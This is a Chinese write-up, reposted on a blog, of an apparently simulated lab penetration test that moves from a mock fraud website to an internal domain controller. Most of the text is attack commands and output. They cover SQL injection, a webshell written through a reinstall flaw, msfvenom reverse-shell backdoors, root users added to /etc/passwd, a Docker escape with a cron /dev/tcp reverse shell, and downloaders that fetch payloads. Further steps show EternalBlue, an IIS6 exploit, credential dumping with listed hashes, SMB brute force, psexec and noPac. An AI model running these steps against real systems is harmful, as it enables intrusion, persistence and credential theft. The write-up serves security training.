本文主要是介绍模拟实战从外网打点渗透到内网域控的笔记,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
信息收集
本次项目是一个是模拟渗透测试 电信诈骗网站,境外人员依赖该网站通过优惠卷诱导受害者进行消费,
诈骗受害人金钱。
前台地址
项目拓扑图
http://ip/user.php?mod=do&act=login&fromto=http%3A%2F%2F43.143.193.216%2F
后台地址
http://ip/admin/webadmin.php?mod=do&act=login
robots.txt
前台注册信息
18945612354
yesir
123456
个人中心:
http://ip/user.php
逍遥商城
根据响应返回值的不同,尝试爆破弱口令。
爆破成功,密码nasa123
代码审计
经过移动端的代码审计,发现存在注入
然后构造payload
跑一下sqlmap,爆出库表
得出管理员密码
nasa123
然后登录后台寻找漏洞
访问重装目录发现如下提示
要是重装需要删除install.lock文件
在后台备份处找到可以删除文件的功能点
尝试是否有任意文件删除漏洞
查看源代码
发现并没有对删除的目录进行过滤
利用任意文件删除漏洞删除install.lock文件
任意文件写入配合重装系统获取webshell
然后发现可以重装系统,这也是个重装系统漏洞。
然后通过任意文件写入getshell,因为重装信息会写到config.php,也就 给了我写马的机会.
拼接一句话
重装访问config.php成功拿到webshell。
提权
查找可以进行suid提权的命令
find / -perm -u=s -type f 2>/dev/null
touch test
find test -exec whoami \;
判断在ls -alh /.dockerenv 容器内
ls -alh /.dockerenv
反向代理msf linux上线
在vps上设置 frps.ini
[common]
bind_port = 7000
token=yesir.aaaa
2.在内网的kali上配置frpc.ini
server_addr = vps-ip
server_port = 7000
token=yesir.aaaa
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 6666
remote_port = 6666
[msf2]
type = tcp
local_ip = 127.0.0.1
local_port = 7777
remote_port = 7777
配置好运行客户端和服务端
3.msf生成linux elf后门文件
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.59.138 lport=6666 -f
elf -o yesir.elf
4.msf设置监听
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > exploit
5.webshell执行后门
chmod +x yesir.elf
find test -exec ./yesir.elf \;
提取成功,root权限
创建linux root用户
openssl passwd -1 -salt yesir 123456
echo 'yesir:$1$yesir$Apee9NXsjpedOFK06C6tu0:0:0:root:/root:/bin/bash' >>
/etc/passwd
创建交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
bash-4.3$
bash-4.3$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash-4.3$ su moonsec
su moonsec
Password: 123456
docker提权
现在还是处于容器内,所以还要进行提权到宿主上。在docker如果启动的时候 --privileged=true 是 可以逃逸的。 挂载宿主硬盘到test目录
创建目录
mkdir /test
将宿主的目录挂载到test目录
mount /dev/sda1 /test
改变根目录为 /test
chroot /test
宿主的目录
创建反弹shell
echo '/bin/bash -i >& bash -i >&/dev/tcp/192.168.59.128/23333 0>&1' >
/root/sec.sh
chmod +x /root/sec.sh
cat /tmp/sec.sh
写到计划任务里
echo '*/1 * * * * root bash /root/sec.sh' >>/etc/crontab
得到第一个flag
成功写到计划任务里
nc监听,等待反弹shell
vps nc -lnvp 23333
通过任务获取宿主的反弹shell
宿主ubuntu msf后门上线
下载后门 添加运行权限 执行即可
wget http://192.168.59.128/yesir.elf
msf上线成功
内网横向渗透
msf设置代理扫描内网
添加路由
run get_local_subnets
run autoroute -s 192.168.59.0/255.255.255.0
run autoroute -p
启用代理,使用sock5
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > show options
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/socks_proxy) >
设置 kali 的 /etc/proxychains4.conf 文件
sudo vim /etc/proxychains4.conf
添加 socks5 127.0.0.1 1080
利用代理,nmap扫描内网445端口
proxychains4 nmap -sT -Pn 192.168.59.0/24 -p 445 --open
nmap扫描结果
使用fscan扫描内网存活主机与端口
proxychains4 ./fscan_amd64 -h 192.168.59.0/24 -np -no -nopoc
fscan扫描结果
永恒之蓝
尝试对开放445端口的主机使用永恒之蓝攻击
use windows/smb/ms17_010_eternalblue
set pyaload windows/meterpreter/bind_tcp #选择正向shell
set rhosts 192.168.59.197
run
利用失败
根据扫描结果,发现有server2003的主机,尝试利用iis6.0 溢出获取权限
proxychains4 python2 ii6.py 192.168.59.144 80 192.168.59.128 4455
获得shell
S09-020-KB970483-CVE-2009-1535-IIS6 2003提权
vbs下载后门
echo set a=createobject(^"adod^"+^"b.stream^"):set
w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.se
nd:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>
downfile.vbs
cscript downfile.vbs http://192.168.59.128/IIS6.0.exe iis6.exe
获取系统权限
msf生成win后门上线
生成msf后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.59.128 lport=7777 -f exe -o s.exe
靶机下载msf后门
cscript downfile.vbs http://192.168.59.128/s.exe 2.exe
2003主机信息收集
内网10段扫描
C:\nasa>nbtscan -r 10.10.10.0/24
使用msf中的kiwi模块获取凭证
meterpreter > hashdump
Administrator:500:6c634e36565f85fc9c5014ae4718a7ee:f099c4a637f9b871487bbb03962f7
9b5::: 明文 admin555
ASPNET:1006:c5f4c32e080b1c0a19f45641a62db986:5643281884dd972acd9b0eaeecd13522:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_WWW79FA760B73D:1000:a1323e561696c32ad68862a8c0118e7e:00dd987a1d0c4540f919b3eb5fc0b1
cd:::
IWAM_WWW79FA760B73D:1001:123dec921ecc0ca82f1106015d8abba7:556f2d1b30d88fc35eb8c4d573a5cd
14:::
SUPPORT_388945a0:1004:aad3b435b51404eeaad3b435b51404ee:f739006531fcc09af8615f957
5fa943c:::
smb 用户批量爆破
把netbios name设置用户列表 使用smb 登录模块进行批量弱口令测试
用户列表
administrator WIN2003 AD01 AD02 WIN7
使用smb模块
use scanner/smb/smb_login
psexec登录获取shell
use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.59.197
RHOSTS => 192.168.59.197
msf6 exploit(windows/smb/psexec) > set smbpass admin555
smbpass => admin555
msf6 exploit(windows/smb/psexec) > set smbuser WIN7
set payload windows/meterpreter/bind_tcp
impacket smbsxec 登录失败
└─$ proxychains4 python3 smbexec.py WIN7:admin555@10.10.10.142
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.142:445 ... OK
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
ms17_010_psexec 登录
use windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set smbuser win7
set smbpass admin555
run
win7主机信息收集
成功获取一个域普通用户
迁移下进程然后获取win7
hashdump
kiwi_cmd sekurlsa::logonPasswords
CVE-2021-42278 and CVE-2021-42287 攻击域控
工具地址:https://github.com/Ridter/noPac
在攻击域控之前修改/etc/resolve.conf,修改DNS为10.10.10.140
proxychains4 python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -
dc-host AD01 -shell --impersonate administrator
proxychains4 noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -dc-host
AD01 --impersonate administrator -dump
域控的hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3
090:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0
89c0:::
根据域控hash获取域控的权限
备份域的权限
主机名 | flag |
---|---|
ad01 | ad01 moonsec_flag{2181d94fba9a1d2de2b5f6fb75f8ab08} |
ad02 | moonsec_flag{d3eb9a9233e52948740d7eb8c3062d14} |
win2003 | moon_flag{7555051b6d8a2dca27a29f9cb0d2e3a6} |
ubuntu | moonsec_flag{182be0c5cdcd5072bb1864cdee4d3d6e} |
win7 | moon_flag{0b08bd98d279b88859b628cd8c061ae0} |
这次模拟实战的项目几乎是第一次做这么完整的项目从外网渗透到内网域控,这次渗透过程中学到了很多东西,但很多也是我应该熟练使用的。继续加油。
来人间一趟 你要看看太阳
这篇关于模拟实战从外网打点渗透到内网域控的笔记的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!